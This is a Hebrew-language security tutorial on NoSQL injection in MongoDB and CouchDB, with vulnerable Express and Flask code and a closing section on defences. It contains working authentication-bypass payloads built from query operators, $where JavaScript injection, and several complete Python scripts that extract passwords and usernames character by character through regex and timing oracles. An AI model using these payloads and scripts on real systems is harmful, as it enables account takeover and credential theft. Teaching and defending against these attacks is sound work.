הזרקת NoSQL¶
מבוא¶
מסדי נתונים מסוג NoSQL (כגון MongoDB, CouchDB, Redis) פופולריים מאוד באפליקציות מודרניות, במיוחד עם Node.js. למרות שהם לא משתמשים בשפת SQL, הם עדיין פגיעים להזרקות - רק בצורה שונה.
הזרקת NoSQL מנצלת את האופן שבו אפליקציות בונות שאילתות למסד הנתונים, ובמיוחד את האופרטורים המיוחדים של MongoDB.
רקע - אופרטורים ב-MongoDB¶
לפני שנצלול לתקיפות, חשוב להכיר את האופרטורים העיקריים:
// אופרטורי השוואה
$eq // שווה
$ne // לא שווה
$gt // גדול מ
$gte // גדול או שווה
$lt // קטן מ
$lte // קטן או שווה
$in // נמצא במערך
$nin // לא נמצא במערך
// אופרטורים לוגיים
$and // וגם
$or // או
$not // שלילה
// אופרטורים מיוחדים
$regex // ביטוי רגולרי
$where // הרצת JavaScript
$exists // האם השדה קיים
עקיפת אותנטיקציה - Authentication Bypass¶
הקוד הפגיע¶
// שרת Node.js עם Express ו-MongoDB
const express = require('express');
const mongoose = require('mongoose');
const app = express();
app.use(express.json()); // מאפשר פרסור JSON בבקשות
app.post('/login', async (req, res) => {
const { username, password } = req.body;
// פגיע! הקלט מוכנס ישירות לשאילתה
const user = await User.findOne({
username: username,
password: password
});
if (user) {
res.json({ success: true, token: generateToken(user) });
} else {
res.json({ success: false, message: 'Invalid credentials' });
}
});
התקיפה¶
כאשר השרת מקבל Content-Type: application/json, הוא מפרסר את הגוף כ-JSON. זה מאפשר לשלוח אובייקטים במקום מחרוזות:
POST /login HTTP/1.1
Content-Type: application/json
{
"username": {"$ne": ""},
"password": {"$ne": ""}
}
השאילתה שנשלחת ל-MongoDB:
// הופכת ל:
db.users.findOne({
username: { $ne: "" }, // שם משתמש שלא שווה למחרוזת ריקה
password: { $ne: "" } // סיסמה שלא שווה למחרוזת ריקה
})
// מחזירה את המשתמש הראשון במסד!
וריאציות נוספות לעקיפת אותנטיקציה¶
// גישה למשתמש ספציפי (admin)
{
"username": "admin",
"password": {"$ne": ""}
}
// שימוש ב-$gt
{
"username": "admin",
"password": {"$gt": ""}
}
// שימוש ב-$regex
{
"username": "admin",
"password": {"$regex": ".*"}
}
// שימוש ב-$exists
{
"username": "admin",
"password": {"$exists": true}
}
// שימוש ב-$in
{
"username": {"$in": ["admin", "administrator"]},
"password": {"$ne": ""}
}
חילוץ נתונים עם $regex - מתקפה עיוורת¶
כאשר אין הודעות שגיאה מפורטות, אפשר לחלץ מידע תו אחר תו באמצעות $regex:
העיקרון¶
// בדיקה האם הסיסמה מתחילה ב-a
{"username": "admin", "password": {"$regex": "^a"}}
// אם ההתחברות מצליחה - התו הראשון הוא a
// אם נכשלת - ננסה תו אחר
סקריפט אוטומטי לחילוץ¶
import requests
import string
url = "http://target.com/login"
charset = string.ascii_lowercase + string.digits + string.punctuation
extracted = ""
while True:
found = False
for char in charset:
# תווים מיוחדים ב-regex דורשים escaping
escaped_char = char
if char in r'\.^$*+?{}[]|()':
escaped_char = '\\' + char
payload = {
"username": "admin",
"password": {"$regex": f"^{extracted}{escaped_char}"}
}
response = requests.post(url, json=payload)
if "success" in response.text:
extracted += char
found = True
print(f"[+] Found so far: {extracted}")
break
if not found:
print(f"[+] Complete password: {extracted}")
break
חילוץ שמות משתמשים¶
import requests
import string
url = "http://target.com/login"
charset = string.ascii_lowercase + string.digits
# חילוץ אורך שם המשתמש
for length in range(1, 30):
payload = {
"username": {"$regex": f"^.{{{length}}}$"},
"password": {"$ne": ""}
}
response = requests.post(url, json=payload)
if "success" in response.text:
print(f"[+] Username length: {length}")
break
# חילוץ שם המשתמש תו אחר תו
username = ""
for i in range(length):
for char in charset:
payload = {
"username": {"$regex": f"^{username}{char}"},
"password": {"$ne": ""}
}
response = requests.post(url, json=payload)
if "success" in response.text:
username += char
print(f"[+] Username so far: {username}")
break
הזרקת $where - הרצת JavaScript¶
האופרטור $where מאפשר להריץ JavaScript בצד השרת. זו אחת החולשות המסוכנות ביותר ב-MongoDB:
קוד פגיע¶
app.get('/search', async (req, res) => {
const query = req.query.q;
// פגיע! קלט המשתמש מוכנס ל-$where
const results = await Product.find({
$where: `this.name.includes('${query}')`
});
res.json(results);
});
ניצול¶
# חילוץ נתונים עם sleep (מבוסס זמן)
GET /search?q=') || (this.password && this.password.match(/^a/) && sleep(5000)) || ('
# אם התגובה מתעכבת ב-5 שניות - הסיסמה מתחילה ב-a
# הרצת קוד JavaScript
GET /search?q='); return true; var x=('
מתקפת זמן עם $where¶
import requests
import time
import string
url = "http://target.com/search"
charset = string.ascii_lowercase + string.digits
extracted = ""
for position in range(50):
found = False
for char in charset:
# Payload שגורם לעיכוב אם התו נכון
payload = f"') || (this.password && this.password[{position}] == '{char}' && sleep(2000)) || ('"
start = time.time()
response = requests.get(url, params={"q": payload})
elapsed = time.time() - start
if elapsed > 2:
extracted += char
found = True
print(f"[+] Found: {extracted}")
break
if not found:
break
print(f"[+] Complete: {extracted}")
הזרקה ב-MongoDB Aggregation Pipeline¶
Aggregation pipelines הם כלי חזק ב-MongoDB שמאפשר עיבוד נתונים מורכב. אם תוקף יכול להשפיע על ה-pipeline, התוצאות עלולות להיות הרסניות:
// קוד פגיע
app.get('/stats', async (req, res) => {
const field = req.query.field;
const results = await Order.aggregate([
{ $group: { _id: `$${field}`, total: { $sum: "$amount" } } }
]);
res.json(results);
});
# תוקף יכול לגשת לשדות רגישים
GET /stats?field=customer.password
# או להשתמש ב-aggregation operators
GET /stats?field=customer.creditCard
Python עם pymongo - דפוסים פגיעים¶
from flask import Flask, request, jsonify
from pymongo import MongoClient
app = Flask(__name__)
client = MongoClient('mongodb://localhost:27017/')
db = client['myapp']
# פגיע - אם Content-Type הוא application/json
@app.route('/api/login', methods=['POST'])
def login():
data = request.get_json()
user = db.users.find_one({
'username': data['username'],
'password': data['password'] # יכול לקבל אובייקט!
})
if user:
return jsonify({'success': True})
return jsonify({'success': False})
# מתוקן - ולידציה על סוג הקלט
@app.route('/api/login_safe', methods=['POST'])
def login_safe():
data = request.get_json()
# וידוא שהקלט הוא מחרוזת
username = data.get('username')
password = data.get('password')
if not isinstance(username, str) or not isinstance(password, str):
return jsonify({'error': 'Invalid input type'}), 400
user = db.users.find_one({
'username': username,
'password': password
})
if user:
return jsonify({'success': True})
return jsonify({'success': False})
הזרקה ב-CouchDB¶
CouchDB משתמש ב-HTTP API עם JSON. נקודות הזרקה שונות מ-MongoDB:
שאילתות Mango ב-CouchDB¶
// שאילתת Mango רגילה
{
"selector": {
"username": "admin",
"password": "secret123"
}
}
// הזרקה - עקיפת אותנטיקציה
{
"selector": {
"username": "admin",
"password": {"$gt": null}
}
}
הזרקה ב-CouchDB Views¶
// אם התוקף יכול להשפיע על פונקציית map
function(doc) {
if (doc.type == 'user') {
emit(doc.username, doc.password); // חשיפת סיסמאות
}
}
הזרקה דרך פרמטרי URL ב-Express¶
נקודה חשובה: Express עם middleware מסוג qs (ברירת מחדל) מאפשר שליחת אובייקטים דרך פרמטרי URL:
# פרמטרים רגילים
GET /search?username=admin&password=secret
# הזרקת אופרטור דרך URL
GET /search?username=admin&password[$ne]=
# Express מפרסר את זה ל:
# { username: 'admin', password: { '$ne': '' } }
// קוד פגיע - גם עם query parameters
app.get('/search', async (req, res) => {
// req.query.password יכול להיות אובייקט!
const user = await User.findOne({
username: req.query.username,
password: req.query.password
});
res.json(user);
});
הגנה עם express-mongo-sanitize¶
const mongoSanitize = require('express-mongo-sanitize');
// מסיר אופרטורים שמתחילים ב-$ מהקלט
app.use(mongoSanitize());
// או להחליף אותם
app.use(mongoSanitize({
replaceWith: '_'
}));
NoSQL Injection עיוורת מבוססת זמן - Timing-based¶
כאשר אין הבדל בתגובה בין הצלחה לכישלון:
import requests
import time
url = "http://target.com/login"
charset = "abcdefghijklmnopqrstuvwxyz0123456789"
password = ""
for i in range(30):
for char in charset:
payload = {
"username": "admin",
"password": {
"$where": f"if(this.password[{i}]=='{char}'){{sleep(3000);return true}}else{{return false}}"
}
}
start = time.time()
try:
response = requests.post(url, json=payload, timeout=10)
except:
continue
elapsed = time.time() - start
if elapsed >= 3:
password += char
print(f"[+] Password: {password}")
break
הגנה מפני הזרקת NoSQL¶
1. ולידציה על סוג הקלט¶
// בדיקה שהקלט הוא מחרוזת ולא אובייקט
function validateStringInput(input) {
if (typeof input !== 'string') {
throw new Error('Input must be a string');
}
return input;
}
app.post('/login', async (req, res) => {
try {
const username = validateStringInput(req.body.username);
const password = validateStringInput(req.body.password);
const user = await User.findOne({ username, password });
// ...
} catch (err) {
res.status(400).json({ error: 'Invalid input' });
}
});
2. שימוש בספרייה express-mongo-sanitize¶
3. ניטרול $where¶
4. שימוש ב-Schema Validation¶
const userSchema = new mongoose.Schema({
username: {
type: String,
required: true,
validate: {
validator: function(v) {
return typeof v === 'string' && v.length > 0;
}
}
},
password: { type: String, required: true }
});
5. Parameterized Queries¶
// במקום לבנות שאילתות דינמיות
// להשתמש ב-MongoDB drivers שתומכים ב-parameterized queries
const user = await User.findOne()
.where('username').equals(username)
.where('password').equals(hashedPassword);
סיכום¶
הזרקת NoSQL היא חולשה נפוצה במיוחד באפליקציות Node.js עם MongoDB. הנקודות העיקריות:
- Express מפרסר אוטומטית JSON ו-query parameters לאובייקטים - מה שמאפשר הזרקת אופרטורים
- עקיפת אותנטיקציה היא התקיפה הנפוצה ביותר עם
$neו-$gt - חילוץ נתונים אפשרי עם
$regexתו אחר תו - האופרטור
$whereמאפשר הרצת JavaScript ומסוכן במיוחד - ההגנה העיקרית היא ולידציה על סוג הקלט - לוודא שמחרוזות נשארות מחרוזות